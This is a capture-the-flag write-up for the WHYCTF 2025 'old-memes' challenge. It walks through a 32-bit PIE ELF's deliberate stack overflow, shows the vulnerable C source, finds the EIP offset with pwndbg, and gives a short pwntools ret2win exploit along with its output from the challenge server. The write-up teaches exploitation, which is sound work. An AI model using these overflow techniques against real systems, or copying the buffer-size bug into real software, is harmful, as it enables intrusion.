Files
xami.dev/writeups/2025-08-11-old-memes.md
2025-12-29 11:01:12 +01:00

139 lines
5.1 KiB
Markdown

---
title: "WHYCTF 2025: old-memes"
excerpt: "Classic 32-bit x86 ELF ret2win exploit (stack buffer overflow) with Position Independent Executable"
tags: [ctf, pwn]
---
As usual, we'll begin by analyzing the executable features and architecture:
```
$ file old-memes
old-memes: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c315155fad7db7cae0003de733ec91e47c0dba89, for GNU/Linux 3.2.0, not stripped
```
We're dealing with a 32-bit executable this time. I've gotten more used to 64-bit recently, but this should be no problem. We can also take a look at the enabled security features:
```
pwndbg> checksec
File: /home/qelal/WHY2025ctf/OldMemesNeverDie/old-memes
Arch: i386
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
```
It is the first time that I will deal with a PIE-enabled file. To make things clear, PIE stands for "Position Independant Executable"; which basically means, the system will load the program at a different address every time it is run (using ASLR: Address Space Layout Randomization). This is a problem for us because it will be harder to get the addresses of the symbols we will work with.
Let's run the program to see its behavior:
```
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x565ff1ed)
What is your name?
> ^C
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x565e01ed)
What is your name?
```
The programmer was really kind and gave us the address of a `print_flag` function at startup. We can clearly see here that the address changes for each execution. Let's take a look into the source code now:
```c
int print_flag(){
// does what it's supposed to do, redacted here
}
int ask_what(){
char what[8];
char check[6] = "what?";
printf("\n\nWhat is your name?\n> ");
fgets(what, sizeof(what), stdin);
what[strcspn(what, "\r\n")] = 0;
if (strcmp(check, what) != 0)
return 1;
return 0;
}
int ask_name(){
char name[30];
printf("\n\nWhat is your name?\n> ");
fgets(name, 0x30, stdin);
name[strcspn(name, "\r\n")] = 0;
printf("F* YOU %s!\n", name);
}
int main(){
setbuf(stdout, 0);
printf("(do with this information what you want, but the print_flag function can be found here: %p)\n", print_flag);
if(ask_what())
return 1;
ask_name();
return 0;
}
```
At first glance we can see that the first function we enter after main is `ask_what`; a string comparison is done and if we enter `what?` we get into another function, called `ask_name`. This function hosts a buffer overflow: indeed, the programmer allocated 30 bytes for the `name` string, but gave `0x30` to the `fgets` function, the safe replacement for the very unsafe `gets` we know from past challenges.
It is obvious that 30 in decimal and its hexadecimal representation are not the same number; the latter being 48 decimal. This allows for 18 bytes of overflow.
To confirm this hypothesis we can try to enter a big enough amount of bytes when we enter the insecure prompt:
```
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x5657c1ed)
What is your name?
> what?
What is your name?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
[1] 12233 segmentation fault (core dumped) ./old-memes
```
A segfault occurs, which means the program tried to access an invalid address, because, of course, `0x41414141 (AAAA)` isn't mapped.
We can trigger a controlled segfault in pwndbg to find the exact EIP (extended instruction pointer) offset, which normally holds the return address to the function we were called from; in this case, `main`, but we'll modify it to reach the `print_flag` function.
After generating a cyclic pattern, injecting it, and observing the EIP value `0x616c6161 ('aala')` we find the offset:
```
pwndbg> cyclic -l aala
Finding cyclic pattern of 4 bytes: b'aala' (hex: 0x61616c61)
Found at offset 42
```
We can demonstrate that this offset is correct by injecting arbitrary controlled data, like four 'B' characters:
```bash
$ python3 -c "print('A'*42+'B'*4)"
```
And indeed, pwndbg shows us `EIP 0x42424242 ('BBBB')`. We are good to go.
What I bascially did from there was scraping the address given in text by the program, converting it to little-endian (because the architecture here is x86) and building a small pwntools script. Here's the exploit code (stripped from boilerplate):
```python
offset = 42
io = start()
info_line = io.recvline()
print_flag_addr = bytes.fromhex(info_line[-10:-2].decode())[::-1]
print(print_flag_addr)
io.sendlineafter(b'> ', "what?")
io.sendlineafter(b'> ', b'A'*offset+print_flag_addr)
io.interactive()
```
And it worked first try!
```
$ python exploit.py REMOTE old-memes-never-die.ctf.zone 4242
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfd1}[!
F* YOU and your flag: flag{f648a34020ffba10cc5cfc9bd2240725}
```